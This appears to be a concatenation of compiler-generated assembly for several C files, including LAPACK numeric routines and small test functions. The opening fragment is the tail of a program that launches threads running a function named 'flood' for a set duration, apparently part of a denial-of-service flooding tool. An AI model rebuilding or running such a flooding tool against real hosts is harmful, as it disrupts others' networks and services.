ldr r2, .L51+28
mov r1, #0
bl pthread_create
ldr r3, [fp, #-68]
add r3, r3, #1
str r3, [fp, #-68]
.L44:
ldr r2, [fp, #-68]
ldr r3, [fp, #-72]
cmp r2, r3
blt .L45
ldr r3, .L51+12
ldr r3, [r3]
mov r2, #18
mov r1, #1
ldr r0, .L51+32
bl fwrite
ldr r3, [fp, #-80]
cmp r3, #5
ble .L46
ldr r3, [fp, #-84]
add r3, r3, #16
ldr r3, [r3]
mov r0, r3
bl atoi
mov r3, r0
mov r0, r3
bl sleep
mov r3, #0
mov sp, r8
ldr r2, .L51
ldr r1, [r2]
ldr r2, [fp, #-32]
eors r1, r2, r1
mov r2, #0
beq .L49
b .L50
.L46:
mov r0, #1
bl sleep
b .L46
.L50:
bl __stack_chk_fail
.L49:
mov r0, r3
sub sp, fp, #24
@ sp needed
pop {r4, r5, r6, r7, r8, fp, pc}
.L52:
.align 2
.L51:
.word .LC9
.word stderr
.word .LC5
.word stdout
.word .LC6
.word .LC7
.word 1717986919
.word flood
.word .LC8
.size main, .-main
.data
.align 2
.type i.6823, %object
.size i.6823, 4
i.6823:
.word 4095
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "789599.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "789599.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "200148.c"
.intel_syntax noprefix
.text
.globl foo
.type foo, @function
foo:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 272
mov DWORD PTR -260[rbp], edi
mov DWORD PTR -264[rbp], esi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
jmp .L2
.L3:
mov eax, DWORD PTR -260[rbp]
cdqe
mov DWORD PTR -128[rbp+rax*4], 0
mov eax, DWORD PTR -260[rbp]
cdqe
mov edx, DWORD PTR -128[rbp+rax*4]
mov eax, DWORD PTR -260[rbp]
cdqe
mov DWORD PTR -256[rbp+rax*4], edx
add DWORD PTR -260[rbp], 1
.L2:
mov eax, DWORD PTR -260[rbp]
cmp eax, DWORD PTR -264[rbp]
jl .L3
.L5:
mov eax, DWORD PTR -128[rbp]
test eax, eax
je .L5
mov eax, DWORD PTR -260[rbp]
sub eax, 1
cdqe
mov eax, DWORD PTR -256[rbp+rax*4]
mov edi, eax
call bar@PLT
jmp .L5
.cfi_endproc
.LFE0:
.size foo, .-foo
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "200148.c"
.text
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.global foo
.syntax unified
.arm
.fpu softvfp
.type foo, %function
foo:
@ args = 0, pretend = 0, frame = 256
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #256
str r0, [fp, #-256]
str r1, [fp, #-260]
ldr r3, .L7
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
b .L2
.L3:
ldr r3, [fp, #-256]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-124]
ldr r3, [fp, #-256]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r2, [r3, #-124]
ldr r3, [fp, #-256]
lsl r3, r3, #2
sub r1, fp, #4
add r3, r1, r3
str r2, [r3, #-244]
ldr r3, [fp, #-256]
add r3, r3, #1
str r3, [fp, #-256]
.L2:
ldr r2, [fp, #-256]
ldr r3, [fp, #-260]
cmp r2, r3
blt .L3
.L5:
ldr r3, [fp, #-128]
cmp r3, #0
beq .L5
ldr r3, [fp, #-256]
sub r3, r3, #1
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-244]
mov r0, r3
bl bar
b .L5
.L8:
.align 2
.L7:
.word .LC0
.size foo, .-foo
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "511487.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "511487.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "752945.c"
.intel_syntax noprefix
.text
.data
.align 16
.type junk, @object
.size junk, 30
junk:
.string "\n@(#)LIBF77 VERSION 19990503\n"
.text
.type spow_ui, @function
spow_ui:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movss DWORD PTR -20[rbp], xmm0
mov DWORD PTR -24[rbp], edi
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR -12[rbp], xmm0
cmp DWORD PTR -24[rbp], 0
je .L2
cmp DWORD PTR -24[rbp], 0
jns .L3
neg DWORD PTR -24[rbp]
movss xmm0, DWORD PTR .LC0[rip]
divss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR -20[rbp], xmm0
.L3:
mov eax, DWORD PTR -24[rbp]
cdqe
mov QWORD PTR -8[rbp], rax
.L7:
mov rax, QWORD PTR -8[rbp]
and eax, 1
test rax, rax
je .L4
movss xmm0, DWORD PTR -12[rbp]
mulss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR -12[rbp], xmm0
.L4:
shr QWORD PTR -8[rbp]
cmp QWORD PTR -8[rbp], 0
je .L9
movss xmm0, DWORD PTR -20[rbp]
mulss xmm0, xmm0
movss DWORD PTR -20[rbp], xmm0
jmp .L7
.L9:
nop
.L2:
movss xmm0, DWORD PTR -12[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size spow_ui, .-spow_ui
.type dpow_ui, @function
dpow_ui:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -24[rbp], xmm0
mov DWORD PTR -28[rbp], edi
movsd xmm0, QWORD PTR .LC1[rip]
movsd QWORD PTR -16[rbp], xmm0
cmp DWORD PTR -28[rbp], 0
je .L11
cmp DWORD PTR -28[rbp], 0
jns .L12
neg DWORD PTR -28[rbp]
movsd xmm0, QWORD PTR .LC1[rip]
divsd xmm0, QWORD PTR -24[rbp]
movsd QWORD PTR -24[rbp], xmm0
.L12:
mov eax, DWORD PTR -28[rbp]
cdqe
mov QWORD PTR -8[rbp], rax
.L16:
mov rax, QWORD PTR -8[rbp]
and eax, 1
test rax, rax
je .L13
movsd xmm0, QWORD PTR -16[rbp]
mulsd xmm0, QWORD PTR -24[rbp]
movsd QWORD PTR -16[rbp], xmm0
.L13:
shr QWORD PTR -8[rbp]
cmp QWORD PTR -8[rbp], 0
je .L18
movsd xmm0, QWORD PTR -24[rbp]
mulsd xmm0, xmm0
movsd QWORD PTR -24[rbp], xmm0
jmp .L16
.L18:
nop
.L11:
movsd xmm0, QWORD PTR -16[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size dpow_ui, .-dpow_ui
.type cpow_ui, @function
cpow_ui:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
movq rax, xmm0
mov QWORD PTR -40[rbp], rax
movss xmm1, DWORD PTR -40[rbp]
movss xmm0, DWORD PTR -36[rbp]
movss DWORD PTR -48[rbp], xmm1
movss DWORD PTR -44[rbp], xmm0
mov DWORD PTR -52[rbp], edi
movss xmm0, DWORD PTR -48[rbp]
movss DWORD PTR -32[rbp], xmm0
movss xmm0, DWORD PTR -44[rbp]
movss DWORD PTR -28[rbp], xmm0
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
movss DWORD PTR -4[rbp], xmm0
cmp DWORD PTR -52[rbp], 0
je .L27
cmp DWORD PTR -52[rbp], 0
jns .L21
neg DWORD PTR -52[rbp]
movss xmm1, DWORD PTR -28[rbp]
movss xmm0, DWORD PTR -32[rbp]
movaps xmm3, xmm1
movaps xmm2, xmm0
pxor xmm1, xmm1
movss xmm0, DWORD PTR .LC0[rip]
call __divsc3@PLT
movq rax, xmm0
mov QWORD PTR -48[rbp], rax
movss xmm0, DWORD PTR -48[rbp]
movss DWORD PTR -32[rbp], xmm0
movss xmm0, DWORD PTR -44[rbp]
movss DWORD PTR -28[rbp], xmm0
.L21:
mov eax, DWORD PTR -52[rbp]
cdqe
mov QWORD PTR -16[rbp], rax
pxor xmm0, xmm0
movss DWORD PTR -20[rbp], xmm0
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR -24[rbp], xmm0
.L25:
mov rax, QWORD PTR -16[rbp]
and eax, 1
test rax, rax
je .L22
movss xmm2, DWORD PTR -28[rbp]
movss xmm1, DWORD PTR -32[rbp]
movss xmm0, DWORD PTR -20[rbp]
mov eax, DWORD PTR -24[rbp]
movaps xmm3, xmm2
movaps xmm2, xmm1
movaps xmm1, xmm0
movd xmm0, eax
call __mulsc3@PLT
movq rax, xmm0
mov QWORD PTR -8[rbp], rax
movss xmm0, DWORD PTR -8[rbp]
movss DWORD PTR -24[rbp], xmm0
movss xmm0, DWORD PTR -4[rbp]
movss DWORD PTR -20[rbp], xmm0
.L22:
shr QWORD PTR -16[rbp]
cmp QWORD PTR -16[rbp], 0
je .L28
movss xmm2, DWORD PTR -28[rbp]
movss xmm1, DWORD PTR -32[rbp]
movss xmm0, DWORD PTR -28[rbp]
mov eax, DWORD PTR -32[rbp]
movaps xmm3, xmm2
movaps xmm2, xmm1
movaps xmm1, xmm0
movd xmm0, eax
call __mulsc3@PLT
movq rax, xmm0
mov QWORD PTR -48[rbp], rax
movss xmm0, DWORD PTR -48[rbp]
movss DWORD PTR -32[rbp], xmm0
movss xmm0, DWORD PTR -44[rbp]
movss DWORD PTR -28[rbp], xmm0
jmp .L25
.L27:
pxor xmm0, xmm0
movss DWORD PTR -20[rbp], xmm0
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR -24[rbp], xmm0
jmp .L20
.L28:
nop
.L20:
movss xmm1, DWORD PTR -24[rbp]
movss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR -60[rbp], xmm1
movss DWORD PTR -56[rbp], xmm0
mov rax, QWORD PTR -60[rbp]
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size cpow_ui, .-cpow_ui
.type zpow_ui, @function
zpow_ui:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
movq rax, xmm0
movapd xmm0, xmm1
mov rdx, rax
movq rax, xmm0
movq xmm1, rdx
movq xmm0, rax
movsd QWORD PTR -80[rbp], xmm1
movsd QWORD PTR -72[rbp], xmm0
mov DWORD PTR -84[rbp], edi
movsd xmm0, QWORD PTR -80[rbp]
movsd QWORD PTR -48[rbp], xmm0
movsd xmm0, QWORD PTR -72[rbp]
movsd QWORD PTR -40[rbp], xmm0
movsd xmm0, QWORD PTR .LC1[rip]
movsd QWORD PTR -16[rbp], xmm0
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
cmp DWORD PTR -84[rbp], 0
je .L37
cmp DWORD PTR -84[rbp], 0
jns .L31
neg DWORD PTR -84[rbp]
movsd xmm1, QWORD PTR -40[rbp]
movsd xmm0, QWORD PTR -48[rbp]
mov rax, QWORD PTR .LC1[rip]
movapd xmm3, xmm1
movapd xmm2, xmm0
pxor xmm1, xmm1
movq xmm0, rax
call __divdc3@PLT
movq rax, xmm0
movapd xmm0, xmm1
mov QWORD PTR -80[rbp], rax
movsd QWORD PTR -72[rbp], xmm0
movsd xmm0, QWORD PTR -80[rbp]
movsd QWORD PTR -48[rbp], xmm0
movsd xmm0, QWORD PTR -72[rbp]
movsd QWORD PTR -40[rbp], xmm0
.L31:
mov eax, DWORD PTR -84[rbp]
cdqe
mov QWORD PTR -56[rbp], rax
pxor xmm0, xmm0
movsd QWORD PTR -24[rbp], xmm0
movsd xmm0, QWORD PTR .LC1[rip]
movsd QWORD PTR -32[rbp], xmm0
.L35:
mov rax, QWORD PTR -56[rbp]
and eax, 1
test rax, rax
je .L32
movsd xmm2, QWORD PTR -40[rbp]
movsd xmm1, QWORD PTR -48[rbp]
movsd xmm0, QWORD PTR -24[rbp]
mov rax, QWORD PTR -32[rbp]
movapd xmm3, xmm2
movapd xmm2, xmm1
movapd xmm1, xmm0
movq xmm0, rax
call __muldc3@PLT
movq rax, xmm0
movapd xmm0, xmm1
mov QWORD PTR -16[rbp], rax
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -16[rbp]
movsd QWORD PTR -32[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movsd QWORD PTR -24[rbp], xmm0
.L32:
shr QWORD PTR -56[rbp]
cmp QWORD PTR -56[rbp], 0
je .L38
movsd xmm2, QWORD PTR -40[rbp]
movsd xmm1, QWORD PTR -48[rbp]
movsd xmm0, QWORD PTR -40[rbp]
mov rax, QWORD PTR -48[rbp]
movapd xmm3, xmm2
movapd xmm2, xmm1
movapd xmm1, xmm0
movq xmm0, rax
call __muldc3@PLT
movq rax, xmm0
movapd xmm0, xmm1
mov QWORD PTR -80[rbp], rax
movsd QWORD PTR -72[rbp], xmm0
movsd xmm0, QWORD PTR -80[rbp]
movsd QWORD PTR -48[rbp], xmm0
movsd xmm0, QWORD PTR -72[rbp]
movsd QWORD PTR -40[rbp], xmm0
jmp .L35
.L37:
pxor xmm0, xmm0
movsd QWORD PTR -24[rbp], xmm0
movsd xmm0, QWORD PTR .LC1[rip]
movsd QWORD PTR -32[rbp], xmm0
jmp .L30
.L38:
nop
.L30:
movsd xmm1, QWORD PTR -32[rbp]
movsd xmm0, QWORD PTR -24[rbp]
movq rax, xmm1
movq rdx, xmm0
movq xmm1, rdx
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size zpow_ui, .-zpow_ui
.type pow_ii, @function
pow_ii:
.LFB14:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov DWORD PTR -24[rbp], esi
cmp DWORD PTR -24[rbp], 0
jg .L40
cmp DWORD PTR -24[rbp], 0
je .L41
cmp DWORD PTR -20[rbp], 1
jne .L42
.L41:
mov DWORD PTR -12[rbp], 1
jmp .L40
.L42:
cmp DWORD PTR -20[rbp], -1
je .L43
cmp DWORD PTR -20[rbp], 0
jne .L44
mov eax, 1
cdq
idiv DWORD PTR -20[rbp]
jmp .L45
.L44:
mov eax, 0
.L45:
mov DWORD PTR -12[rbp], eax
jmp .L40
.L43:
neg DWORD PTR -24[rbp]
.L40:
cmp DWORD PTR -24[rbp], 0
jg .L46
cmp DWORD PTR -24[rbp], 0
je .L47
cmp DWORD PTR -20[rbp], 1
je .L47
cmp DWORD PTR -20[rbp], -1
jne .L47
.L46:
mov eax, DWORD PTR -24[rbp]
cdqe
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -12[rbp], 1
.L51:
mov rax, QWORD PTR -8[rbp]
and eax, 1
test rax, rax
je .L48
mov eax, DWORD PTR -12[rbp]
imul eax, DWORD PTR -20[rbp]
mov DWORD PTR -12[rbp], eax
.L48:
shr QWORD PTR -8[rbp]
cmp QWORD PTR -8[rbp], 0
je .L53
mov eax, DWORD PTR -20[rbp]
imul eax, eax
mov DWORD PTR -20[rbp], eax
jmp .L51
.L53:
nop
.L47:
mov eax, DWORD PTR -12[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE14:
.size pow_ii, .-pow_ii
.type dmaxloc_, @function
dmaxloc_:
.LFB15:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -32[rbp], edx
mov QWORD PTR -40[rbp], rcx
mov eax, DWORD PTR -28[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
movsd QWORD PTR -8[rbp], xmm0
mov eax, DWORD PTR -28[rbp]
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -28[rbp]
add eax, 1
mov DWORD PTR -16[rbp], eax
jmp .L55
.L58:
mov eax, DWORD PTR -16[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
comisd xmm0, QWORD PTR -8[rbp]
jbe .L56
mov eax, DWORD PTR -16[rbp]
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -16[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
movsd QWORD PTR -8[rbp], xmm0
.L56:
add DWORD PTR -16[rbp], 1
.L55:
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -32[rbp]
jle .L58
mov eax, DWORD PTR -12[rbp]
sub eax, DWORD PTR -28[rbp]
add eax, 1
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE15:
.size dmaxloc_, .-dmaxloc_
.type smaxloc_, @function
smaxloc_:
.LFB16:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -32[rbp], edx
mov QWORD PTR -40[rbp], rcx
mov eax, DWORD PTR -28[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -12[rbp], xmm0
mov eax, DWORD PTR -28[rbp]
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -28[rbp]
add eax, 1
mov DWORD PTR -8[rbp], eax
jmp .L62
.L65:
mov eax, DWORD PTR -8[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
comiss xmm0, DWORD PTR -12[rbp]
jbe .L63
mov eax, DWORD PTR -8[rbp]
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -8[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -12[rbp], xmm0
.L63:
add DWORD PTR -8[rbp], 1
.L62:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -32[rbp]
jle .L65
mov eax, DWORD PTR -4[rbp]
sub eax, DWORD PTR -28[rbp]
add eax, 1
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE16:
.size smaxloc_, .-smaxloc_
.data
.align 4
.type c__13, @object
.size c__13, 4
c__13:
.long 13
.align 4
.type c__15, @object
.size c__15, 4
c__15:
.long 15
.align 4
.type c_n1, @object
.size c_n1, 4
c_n1:
.long -1
.align 4
.type c__12, @object
.size c__12, 4
c__12:
.long 12
.align 4
.type c__14, @object
.size c__14, 4
c__14:
.long 14
.align 4
.type c__16, @object
.size c__16, 4
c__16:
.long 16
.local c_false
.comm c_false,4,4
.align 4
.type c__1, @object
.size c__1, 4
c__1:
.long 1
.align 4
.type c__3, @object
.size c__3, 4
c__3:
.long 3
.section .rodata
.LC4:
.string "SLAQR0"
.LC8:
.string "A"
.text
.globl slaqr0_
.type slaqr0_, @function
slaqr0_:
.LFB21:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 392
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov QWORD PTR -296[rbp], rdi
mov QWORD PTR -304[rbp], rsi
mov QWORD PTR -312[rbp], rdx
mov QWORD PTR -320[rbp], rcx
mov QWORD PTR -328[rbp], r8
mov QWORD PTR -336[rbp], r9
mov rax, QWORD PTR 16[rbp]
mov QWORD PTR -344[rbp], rax
mov rax, QWORD PTR 24[rbp]
mov QWORD PTR -352[rbp], rax
mov rax, QWORD PTR 32[rbp]
mov QWORD PTR -360[rbp], rax
mov rax, QWORD PTR 40[rbp]
mov QWORD PTR -368[rbp], rax
mov rax, QWORD PTR 48[rbp]
mov QWORD PTR -376[rbp], rax
mov rax, QWORD PTR 56[rbp]
mov QWORD PTR -384[rbp], rax
mov rax, QWORD PTR 64[rbp]
mov QWORD PTR -392[rbp], rax
mov rax, QWORD PTR 72[rbp]
mov QWORD PTR -400[rbp], rax
mov rax, QWORD PTR 80[rbp]
mov QWORD PTR -408[rbp], rax
mov rax, QWORD PTR 88[rbp]
mov QWORD PTR -416[rbp], rax
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, QWORD PTR -344[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -184[rbp], eax
mov eax, DWORD PTR -184[rbp]
add eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -180[rbp]
cdqe
sal rax, 2
neg rax
add QWORD PTR -336[rbp], rax
sub QWORD PTR -352[rbp], 4
sub QWORD PTR -360[rbp], 4
mov rax, QWORD PTR -392[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -176[rbp], eax
mov eax, DWORD PTR -176[rbp]
add eax, 1
mov DWORD PTR -172[rbp], eax
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 2
neg rax
add QWORD PTR -384[rbp], rax
sub QWORD PTR -400[rbp], 4
mov rax, QWORD PTR -416[rbp]
mov DWORD PTR [rax], 0
mov rax, QWORD PTR -312[rbp]
mov eax, DWORD PTR [rax]
test eax, eax
jne .L69
mov rax, QWORD PTR -400[rbp]
add rax, 4
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR [rax], xmm0
mov eax, 0
jmp .L154
.L69:
mov rax, QWORD PTR -312[rbp]
mov eax, DWORD PTR [rax]
cmp eax, 15
jg .L71
mov DWORD PTR -188[rbp], 1
mov rax, QWORD PTR -408[rbp]
mov eax, DWORD PTR [rax]
cmp eax, -1
je .L72
mov eax, DWORD PTR -172[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -384[rbp]
lea r9, [rdx+rax]
mov rax, QWORD PTR -360[rbp]
lea r8, 4[rax]
mov rax, QWORD PTR -352[rbp]
lea rdi, 4[rax]
mov eax, DWORD PTR -180[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
lea r11, [rdx+rax]
mov r10, QWORD PTR -328[rbp]
mov rcx, QWORD PTR -320[rbp]
mov rdx, QWORD PTR -312[rbp]
mov rsi, QWORD PTR -304[rbp]
mov rax, QWORD PTR -296[rbp]
push QWORD PTR -416[rbp]
push QWORD PTR -392[rbp]
push r9
push QWORD PTR -376[rbp]
push QWORD PTR -368[rbp]
push r8
push rdi
push QWORD PTR -344[rbp]
mov r9, r11
mov r8, r10
mov rdi, rax
call slahqr_@PLT
add rsp, 64
jmp .L72
.L71:
mov rax, QWORD PTR -416[rbp]
mov DWORD PTR [rax], 0
mov rax, QWORD PTR -296[rbp]
mov eax, DWORD PTR [rax]
test eax, eax
je .L73
lea rax, -58[rbp]
mov BYTE PTR [rax], 83
jmp .L74
.L73:
lea rax, -58[rbp]
mov BYTE PTR [rax], 69
.L74:
mov rax, QWORD PTR -304[rbp]
mov eax, DWORD PTR [rax]
test eax, eax
je .L75
lea rax, -58[rbp]
add rax, 1
mov BYTE PTR [rax], 86
jmp .L76
.L75:
lea rax, -58[rbp]
add rax, 1
mov BYTE PTR [rax], 78
.L76:
mov rsi, QWORD PTR -328[rbp]
mov rcx, QWORD PTR -320[rbp]
mov rdx, QWORD PTR -312[rbp]
lea rax, -58[rbp]
sub rsp, 8
push 2
push 6
push QWORD PTR -408[rbp]
mov r9, rsi
mov r8, rcx
mov rcx, rdx
mov rdx, rax
lea rsi, .LC4[rip]
lea rdi, c__13[rip]
call ilaenv_@PLT
add rsp, 32
mov DWORD PTR -168[rbp], eax
mov eax, 2
cmp DWORD PTR -168[rbp], 2
cmovge eax, DWORD PTR -168[rbp]
mov DWORD PTR -168[rbp], eax
mov rax, QWORD PTR -328[rbp]
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR -320[rbp]
mov ecx, DWORD PTR [rax]
mov eax, edx
sub eax, ecx
add eax, 1
mov DWORD PTR -284[rbp], eax
mov rax, QWORD PTR -312[rbp]
mov eax, DWORD PTR [rax]
sub eax, 1
movsx rdx, eax
imul rdx, rdx, 1431655766
shr rdx, 32
sar eax, 31
mov ecx, eax
mov eax, edx
sub eax, ecx
mov DWORD PTR -164[rbp], eax
mov eax, DWORD PTR -284[rbp]
cmp DWORD PTR -164[rbp], eax
cmovle eax, DWORD PTR -164[rbp]
mov DWORD PTR -284[rbp], eax
mov eax, DWORD PTR -284[rbp]
cmp DWORD PTR -168[rbp], eax
cmovle eax, DWORD PTR -168[rbp]
mov DWORD PTR -168[rbp], eax
mov rsi, QWORD PTR -328[rbp]
mov rcx, QWORD PTR -320[rbp]
mov rdx, QWORD PTR -312[rbp]
lea rax, -58[rbp]
sub rsp, 8
push 2
push 6
push QWORD PTR -408[rbp]
mov r9, rsi
mov r8, rcx
mov rcx, rdx
mov rdx, rax
lea rsi, .LC4[rip]
lea rdi, c__15[rip]
call ilaenv_@PLT
add rsp, 32
mov DWORD PTR -160[rbp], eax
mov eax, DWORD PTR -160[rbp]
mov DWORD PTR -284[rbp], eax
mov rax, QWORD PTR -312[rbp]
mov eax, DWORD PTR [rax]
sub eax, 3
movsx rdx, eax
imul rdx, rdx, 715827883
shr rdx, 32
sar eax, 31
mov ecx, eax
mov eax, edx
sub eax, ecx
mov DWORD PTR -164[rbp], eax
mov eax, DWORD PTR -284[rbp]
cmp DWORD PTR -164[rbp], eax
cmovle eax, DWORD PTR -164[rbp]
mov DWORD PTR -284[rbp], eax
mov rax, QWORD PTR -328[rbp]
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR -320[rbp]
mov ecx, DWORD PTR [rax]
mov eax, edx
sub eax, ecx
mov DWORD PTR -164[rbp], eax
mov eax, DWORD PTR -284[rbp]
cmp DWORD PTR -164[rbp], eax
cmovle eax, DWORD PTR -164[rbp]
mov DWORD PTR -160[rbp], eax
mov DWORD PTR -284[rbp], 2
mov eax, DWORD PTR -160[rbp]
cdq
shr edx, 31
add eax, edx
and eax, 1
sub eax, edx
mov edx, eax
mov eax, DWORD PTR -160[rbp]
sub eax, edx
mov DWORD PTR -164[rbp], eax
mov eax, DWORD PTR -284[rbp]
cmp DWORD PTR -164[rbp], eax
cmovge eax, DWORD PTR -164[rbp]
mov DWORD PTR -160[rbp], eax
mov eax, DWORD PTR -168[rbp]
add eax, 1
mov DWORD PTR -284[rbp], eax
mov rax, QWORD PTR -400[rbp]
lea r14, 4[rax]
mov eax, DWORD PTR -180[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
lea r13, [rdx+rax]
mov eax, DWORD PTR -180[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
